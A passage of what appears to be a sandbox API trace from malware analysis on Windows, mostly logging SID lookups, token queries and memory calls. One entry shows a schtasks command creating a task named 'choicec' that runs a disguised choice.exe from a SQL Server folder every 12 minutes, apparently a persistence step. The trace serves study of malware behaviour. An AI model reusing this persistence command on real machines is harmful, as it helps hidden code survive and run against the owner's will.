(in: _Dst=0x3276ba, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0063.321] free (_Block=0xef040) [0063.321] free (_Block=0xef020) [0063.321] malloc (_Size=0x18) returned 0xef020 [0063.321] malloc (_Size=0x18) returned 0xef040 [0063.321] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0063.321] SysStringLen (param_1="1000") returned 0x4 [0063.321] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0063.321] memcpy (in: _Dst=0x34d9ac, _Src=0x3812f8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0063.321] free (_Block=0xeef20) [0063.321] free (_Block=0xef020) [0063.321] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0063.321] malloc (_Size=0x5e) returned 0xf0800 [0063.322] free (_Block=0xef040) [0063.322] malloc (_Size=0x18) returned 0xef040 [0063.322] free (_Block=0xf0800) [0063.322] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0063.323] GetLastError () returned 0x7a [0063.323] malloc (_Size=0x14) returned 0xef020 [0063.323] malloc (_Size=0x16) returned 0xeef20 [0063.323] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0063.323] malloc (_Size=0x18) returned 0xeef60 [0063.324] malloc (_Size=0x18) returned 0xeef00 [0063.324] free (_Block=0xef020) [0063.324] free (_Block=0xeef20) [0063.324] free (_Block=0xeff60) [0063.324] free (_Block=0xeef00) [0063.324] free (_Block=0xeef60) [0063.324] free (_Block=0xef040) [0063.324] free (_Block=0xee200) [0063.324] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0063.325] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0063.325] GetLastError () returned 0x7a [0063.325] malloc (_Size=0x2c) returned 0xee240 [0063.325] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0063.325] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.325] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0063.325] malloc (_Size=0x1c) returned 0xeff60 [0063.325] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.325] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0063.325] malloc (_Size=0x18) returned 0xef040 [0063.325] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0063.325] malloc (_Size=0x18) returned 0xeef60 [0063.325] malloc (_Size=0x18) returned 0xeef00 [0063.325] SysStringLen (param_1="S-1-") returned 0x4 [0063.325] SysStringLen (param_1="5") returned 0x1 [0063.325] memcpy (in: _Dst=0x35e908, _Src=0x35eae8, _Size=0xa | out: _Dst=0x35e908) returned 0x35e908 [0063.325] memcpy (in: _Dst=0x35e910, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x35e910) returned 0x35e910 [0063.325] free (_Block=0xef040) [0063.325] free (_Block=0xeef60) [0063.325] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0063.325] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0063.325] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0063.325] malloc (_Size=0x18) returned 0xeef60 [0063.326] malloc (_Size=0x18) returned 0xef040 [0063.326] SysStringLen (param_1="S-1-5") returned 0x5 [0063.326] SysStringLen (param_1="-") returned 0x1 [0063.326] memcpy (in: _Dst=0x3812f8, _Src=0x35e908, _Size=0xc | out: _Dst=0x3812f8) returned 0x3812f8 [0063.326] memcpy (in: _Dst=0x381302, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x381302) returned 0x381302 [0063.326] free (_Block=0xeef00) [0063.326] free (_Block=0xeef60) [0063.326] malloc (_Size=0x18) returned 0xeef60 [0063.326] malloc (_Size=0x18) returned 0xeef00 [0063.326] SysStringLen (param_1="S-1-5-") returned 0x6 [0063.326] SysStringLen (param_1="21") returned 0x2 [0063.326] memcpy (in: _Dst=0x35eae8, _Src=0x3812f8, _Size=0xe | out: _Dst=0x35eae8) returned 0x35eae8 [0063.326] memcpy (in: _Dst=0x35eaf4, _Src=0x35e908, _Size=0x6 | out: _Dst=0x35eaf4) returned 0x35eaf4 [0063.326] free (_Block=0xef040) [0063.326] free (_Block=0xeef60) [0063.326] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0063.326] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0063.326] malloc (_Size=0x18) returned 0xeef60 [0063.326] malloc (_Size=0x18) returned 0xef040 [0063.326] SysStringLen (param_1="S-1-5-21") returned 0x8 [0063.326] SysStringLen (param_1="-") returned 0x1 [0063.326] memcpy (in: _Dst=0x35e908, _Src=0x35eae8, _Size=0x12 | out: _Dst=0x35e908) returned 0x35e908 [0063.326] memcpy (in: _Dst=0x35e918, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x35e918) returned 0x35e918 [0063.326] free (_Block=0xeef00) [0063.326] free (_Block=0xeef60) [0063.327] malloc (_Size=0x18) returned 0xeef60 [0063.327] malloc (_Size=0x18) returned 0xeef00 [0063.327] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0063.327] SysStringLen (param_1="4219442223") returned 0xa [0063.327] memcpy (in: _Dst=0x337698, _Src=0x35e908, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0063.327] memcpy (in: _Dst=0x3376aa, _Src=0x35eae8, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0063.327] free (_Block=0xef040) [0063.327] free (_Block=0xeef60) [0063.327] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0063.327] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0063.327] malloc (_Size=0x18) returned 0xeef60 [0063.327] malloc (_Size=0x18) returned 0xef040 [0063.327] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0063.327] SysStringLen (param_1="-") returned 0x1 [0063.327] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0063.327] memcpy (in: _Dst=0x33833e, _Src=0x35e908, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0063.327] free (_Block=0xeef00) [0063.327] free (_Block=0xeef60) [0063.327] malloc (_Size=0x18) returned 0xeef60 [0063.327] malloc (_Size=0x18) returned 0xeef00 [0063.327] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0063.327] SysStringLen (param_1="4223814209") returned 0xa [0063.327] memcpy (in: _Dst=0x327668, _Src=0x338318, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0063.327] memcpy (in: _Dst=0x327690, _Src=0x35e908, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0063.327] free (_Block=0xef040) [0063.328] free (_Block=0xeef60) [0063.328] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0063.328] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0063.328] malloc (_Size=0x18) returned 0xeef60 [0063.328] malloc (_Size=0x18) returned 0xef040 [0063.328] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0063.328] SysStringLen (param_1="-") returned 0x1 [0063.328] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0063.328] memcpy (in: _Dst=0x34d994, _Src=0x35e908, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0063.328] free (_Block=0xeef00) [0063.328] free (_Block=0xeef60) [0063.328] malloc (_Size=0x18) returned 0xeef60 [0063.328] malloc (_Size=0x18) returned 0xeef00 [0063.328] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0063.328] SysStringLen (param_1="3835049652") returned 0xa [0063.328] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0063.328] memcpy (in: _Dst=0x3276a6, _Src=0x35e908, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0063.329] free (_Block=0xef040) [0063.329] free (_Block=0xeef60) [0063.329] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0063.329] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0063.329] malloc (_Size=0x18) returned 0xeef60 [0063.329] malloc (_Size=0x18) returned 0xef040 [0063.329] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0063.329] SysStringLen (param_1="-") returned 0x1 [0063.329] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0063.329] memcpy (in: _Dst=0x34d9aa, _Src=0x35e908, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0063.329] free (_Block=0xeef00) [0063.329] free (_Block=0xeef60) [0063.329] malloc (_Size=0x18) returned 0xeef60 [0063.329] malloc (_Size=0x18) returned 0xeef00 [0063.329] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0063.329] SysStringLen (param_1="1000") returned 0x4 [0063.329] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0063.329] memcpy (in: _Dst=0x3276bc, _Src=0x35e908, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0063.329] free (_Block=0xef040) [0063.329] free (_Block=0xeef60) [0063.329] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0063.329] malloc (_Size=0x5e) returned 0xf0800 [0063.331] free (_Block=0xeef00) [0063.331] malloc (_Size=0x18) returned 0xeef00 [0063.331] free (_Block=0xf0800) [0063.331] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0063.332] GetLastError () returned 0x7a [0063.332] malloc (_Size=0x14) returned 0xeef60 [0063.332] malloc (_Size=0x16) returned 0xef040 [0063.332] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0063.333] malloc (_Size=0x18) returned 0xeef20 [0063.333] malloc (_Size=0x18) returned 0xef020 [0063.333] free (_Block=0xeef60) [0063.333] free (_Block=0xef040) [0063.333] free (_Block=0xeff60) [0063.333] free (_Block=0xef020) [0063.333] free (_Block=0xeef20) [0063.333] free (_Block=0xeef00) [0063.334] free (_Block=0xee240) [0063.334] malloc (_Size=0x48) returned 0xed400 [0063.334] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0063.338] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0063.338] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0063.338] malloc (_Size=0x18) returned 0xeef00 [0063.338] CreateEnvironmentBlock () returned 0x1 [0063.344] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0063.344] malloc (_Size=0x18) returned 0xeef20 [0063.344] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf30, dwThreadId=0xf34)) returned 1 [0063.348] CloseHandle (hObject=0x2fc) returned 1 [0063.348] CloseHandle (hObject=0x248) returned 1 [0063.348] free (_Block=0xeef20) [0063.348] DestroyEnvironmentBlock () returned 0x1 [0063.348] malloc (_Size=0x48) returned 0xed2c0 [0063.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4ed72dc0, dwHighDateTime=0x1d9eb0c)) [0063.349] SetEvent (hEvent=0x1f0) returned 1 [0063.349] CloseHandle (hObject=0x244) returned 1 [0063.349] CloseHandle (hObject=0x238) returned 1 [0063.370] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0063.370] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0063.370] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0063.895] SetLastError (dwErrCode=0x0) [0063.895] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0063.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0063.895] SetLastError (dwErrCode=0x0) [0063.895] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0063.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0063.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0063.895] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0063.895] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0063.895] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0063.897] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0063.898] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.898] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.898] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0063.899] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.899] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0063.899] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0063.901] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0063.901] GetCurrentThread () returned 0xfffffffffffffffe [0063.901] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x238) returned 1 [0063.901] malloc (_Size=0xd8) returned 0xf3750 [0063.901] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0063.902] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0063.902] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0063.902] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0063.902] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0063.902] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0063.903] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0063.903] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0063.903] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0063.903] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0063.903] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0063.903] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0063.904] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0063.904] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0063.904] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0063.904] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0063.904] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0063.905] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0063.905] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0063.905] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0063.905] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0063.905] malloc (_Size=0x18) returned 0xeef20 [0063.905] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x244) returned 1 [0063.906] malloc (_Size=0x48) returned 0xed270 [0063.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4f2cdf40, dwHighDateTime=0x1d9eb0c)) [0063.906] SetEvent (hEvent=0x1f0) returned 1 [0063.912] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0063.912] GetLastError () returned 0x7a [0063.912] malloc (_Size=0x2c) returned 0xee200 [0063.912] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0063.912] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.912] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0063.912] malloc (_Size=0x1c) returned 0xeff30 [0063.912] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0063.912] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0063.912] malloc (_Size=0x18) returned 0xeef00 [0063.913] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0063.913] malloc (_Size=0x18) returned 0xef020 [0063.913] malloc (_Size=0x18) returned 0xef040 [0063.913] SysStringLen (param_1="S-1-") returned 0x4 [0063.913] SysStringLen (param_1="5") returned 0x1 [0063.913] memcpy (in: _Dst=0x3811a8, _Src=0x35e9f8, _Size=0xa | out: _Dst=0x3811a8) returned 0x3811a8 [0063.913] memcpy (in: _Dst=0x3811b0, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b0) returned 0x3811b0 [0063.913] free (_Block=0xeef00) [0063.913] free (_Block=0xef020) [0063.913] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0063.913] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0063.913] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0063.913] malloc (_Size=0x18) returned 0xef020 [0063.913] malloc (_Size=0x18) returned 0xeef00 [0063.913] SysStringLen (param_1="S-1-5") returned 0x5 [0063.913] SysStringLen (param_1="-") returned 0x1 [0063.913] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0063.913] memcpy (in: _Dst=0x381272, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0063.913] free (_Block=0xef040) [0063.914] free (_Block=0xef020) [0063.914] malloc (_Size=0x18) returned 0xef020 [0063.914] malloc (_Size=0x18) returned 0xef040 [0063.914] SysStringLen (param_1="S-1-5-") returned 0x6 [0063.914] SysStringLen (param_1="21") returned 0x2 [0063.914] memcpy (in: _Dst=0x35e9f8, _Src=0x381268, _Size=0xe | out: _Dst=0x35e9f8) returned 0x35e9f8 [0063.914] memcpy (in: _Dst=0x35ea04, _Src=0x3811a8, _Size=0x6 | out: _Dst=0x35ea04) returned 0x35ea04 [0063.914] free (_Block=0xeef00) [0063.914] free 